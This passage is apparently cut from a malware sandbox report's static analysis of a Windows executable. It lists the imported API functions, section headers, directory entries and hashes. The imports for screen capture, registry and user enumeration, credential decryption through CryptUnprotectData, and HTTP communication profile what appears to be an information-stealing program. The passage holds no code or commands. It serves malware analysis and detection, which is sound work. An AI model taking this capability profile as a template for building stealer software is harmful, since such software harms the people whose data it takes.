                "imports": [
                    {
                        "name": "GetDesktopWindow",
                        "address": "0x4752ac"
                    },
                    {
                        "name": "GetSystemMetrics",
                        "address": "0x4752b0"
                    },
                    {
                        "name": "GetDC",
                        "address": "0x4752b4"
                    },
                    {
                        "name": "CharToOemA",
                        "address": "0x4752b8"
                    },
                    {
                        "name": "EnumDisplayDevicesW",
                        "address": "0x4752bc"
                    },
                    {
                        "name": "MessageBoxA",
                        "address": "0x4752c0"
                    },
                    {
                        "name": "GetKeyboardLayoutList",
                        "address": "0x4752c4"
                    },
                    {
                        "name": "wsprintfA",
                        "address": "0x4752c8"
                    },
                    {
                        "name": "ReleaseDC",
                        "address": "0x4752cc"
                    }
                ],
                "dll": "USER32.dll"
            },
            {
                "imports": [
                    {
                        "name": "CreateCompatibleBitmap",
                        "address": "0x475038"
                    },
                    {
                        "name": "SelectObject",
                        "address": "0x47503c"
                    },
                    {
                        "name": "BitBlt",
                        "address": "0x475040"
                    },
                    {
                        "name": "DeleteObject",
                        "address": "0x475044"
                    },
                    {
                        "name": "CreateDCA",
                        "address": "0x475048"
                    },
                    {
                        "name": "GetDeviceCaps",
                        "address": "0x47504c"
                    },
                    {
                        "name": "CreateCompatibleDC",
                        "address": "0x475050"
                    }
                ],
                "dll": "GDI32.dll"
            },
            {
                "imports": [
                    {
                        "name": "RegGetValueW",
                        "address": "0x475000"
                    },
                    {
                        "name": "RegOpenKeyExA",
                        "address": "0x475004"
                    },
                    {
                        "name": "RegQueryValueExA",
                        "address": "0x475008"
                    },
                    {
                        "name": "GetUserNameA",
                        "address": "0x47500c"
                    },
                    {
                        "name": "GetCurrentHwProfileA",
                        "address": "0x475010"
                    },
                    {
                        "name": "RegOpenKeyExW",
                        "address": "0x475014"
                    },
                    {
                        "name": "RegEnumValueA",
                        "address": "0x475018"
                    },
                    {
                        "name": "RegCloseKey",
                        "address": "0x47501c"
                    },
                    {
                        "name": "RegGetValueA",
                        "address": "0x475020"
                    },
                    {
                        "name": "RegEnumKeyExA",
                        "address": "0x475024"
                    }
                ],
                "dll": "ADVAPI32.dll"
            },
            {
                "imports": [
                    {
                        "name": "ShellExecuteA",
                        "address": "0x475298"
                    },
                    {
                        "name": "SHGetFolderPathA",
                        "address": "0x47529c"
                    }
                ],
                "dll": "SHELL32.dll"
            },
            {
                "imports": [
                    {
                        "name": "CoCreateInstance",
                        "address": "0x475330"
                    },
                    {
                        "name": "CoUninitialize",
                        "address": "0x475334"
                    }
                ],
                "dll": "ole32.dll"
            },
            {
                "imports": [
                    {
                        "name": "PathMatchSpecW",
                        "address": "0x4752a4"
                    }
                ],
                "dll": "SHLWAPI.dll"
            },
            {
                "imports": [
                    {
                        "name": "CryptStringToBinaryA",
                        "address": "0x47502c"
                    },
                    {
                        "name": "CryptUnprotectData",
                        "address": "0x475030"
                    }
                ],
                "dll": "CRYPT32.dll"
            },
            {
                "imports": [
                    {
                        "name": "GetModuleFileNameExA",
                        "address": "0x475288"
                    },
                    {
                        "name": "GetModuleBaseNameA",
                        "address": "0x47528c"
                    },
                    {
                        "name": "EnumProcessModules",
                        "address": "0x475290"
                    }
                ],
                "dll": "PSAPI.DLL"
            },
            {
                "imports": [
                    {
                        "name": "HttpQueryInfoA",
                        "address": "0x4752d4"
                    },
                    {
                        "name": "InternetSetOptionA",
                        "address": "0x4752d8"
                    },
                    {
                        "name": "InternetConnectA",
                        "address": "0x4752dc"
                    },
                    {
                        "name": "InternetReadFile",
                        "address": "0x4752e0"
                    },
                    {
                        "name": "HttpOpenRequestA",
                        "address": "0x4752e4"
                    },
                    {
                        "name": "HttpSendRequestA",
                        "address": "0x4752e8"
                    },
                    {
                        "name": "InternetCloseHandle",
                        "address": "0x4752ec"
                    },
                    {
                        "name": "InternetOpenUrlA",
                        "address": "0x4752f0"
                    },
                    {
                        "name": "InternetOpenA",
                        "address": "0x4752f4"
                    },
                    {
                        "name": "HttpAddRequestHeadersA",
                        "address": "0x4752f8"
                    },
                    {
                        "name": "InternetSetFilePointer",
                        "address": "0x4752fc"
                    }
                ],
                "dll": "WININET.dll"
            },
            {
                "imports": [
                    {
                        "name": "GdiplusStartup",
                        "address": "0x475304"
                    },
                    {
                        "name": "GdiplusShutdown",
                        "address": "0x475308"
                    },
                    {
                        "name": "GdipGetImageEncodersSize",
                        "address": "0x47530c"
                    },
                    {
                        "name": "GdipCreateBitmapFromHBITMAP",
                        "address": "0x475310"
                    },
                    {
                        "name": "GdipCloneImage",
                        "address": "0x475314"
                    },
                    {
                        "name": "GdipSaveImageToFile",
                        "address": "0x475318"
                    },
                    {
                        "name": "GdipFree",
                        "address": "0x47531c"
                    },
                    {
                        "name": "GdipAlloc",
                        "address": "0x475320"
                    },
                    {
                        "name": "GdipGetImageEncoders",
                        "address": "0x475324"
                    },
                    {
                        "name": "GdipDisposeImage",
                        "address": "0x475328"
                    }
                ],
                "dll": "gdiplus.dll"
            }
        ],
        "digital_signers": null,
        "exported_dll_name": null,
        "actual_checksum": "0x00093b42",
        "overlay": null,
        "imagebase": "0x00400000",
        "reported_checksum": "0x00000000",
        "icon_hash": null,
        "entrypoint": "0x0045d63a",
        "timestamp": "2019-06-26 15:13:14",
        "osversion": "5.1",
        "sections": [
            {
                "name": ".text",
                "characteristics": "IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x00001000",
                "size_of_data": "0x00073600",
                "entropy": "6.68",
                "raw_address": "0x00000400",
                "virtual_size": "0x000734be",
                "characteristics_raw": "0x60000020"
            },
            {
                "name": ".rdata",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x00075000",
                "size_of_data": "0x00014a00",
                "entropy": "5.74",
                "raw_address": "0x00073a00",
                "virtual_size": "0x000149da",
                "characteristics_raw": "0x40000040"
            },
            {
                "name": ".data",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
                "virtual_address": "0x0008a000",
                "size_of_data": "0x00002800",
                "entropy": "3.67",
                "raw_address": "0x00088400",
                "virtual_size": "0x000050e4",
                "characteristics_raw": "0xc0000040"
            }
        ],
        "resources": [],
        "dirents": [
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_EXPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x000886dc",
                "name": "IMAGE_DIRECTORY_ENTRY_IMPORT",
                "size": "0x000000f0"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_RESOURCE",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_EXCEPTION",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_SECURITY",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_BASERELOC",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_DEBUG",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_TLS",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00083920",
                "name": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
                "size": "0x00000040"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00075000",
                "name": "IMAGE_DIRECTORY_ENTRY_IAT",
                "size": "0x0000033c"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_RESERVED",
                "size": "0x00000000"
            }
        ],
        "exports": [],
        "guest_signers": {},
        "imphash": "e8d12275176ea9846ff290b0f19155f3",
        "icon_fuzzy": null,
        "icon": null,
        "pdbpath": null,
        "imported_dll_count": 11,
        "versioninfo": []
    }
}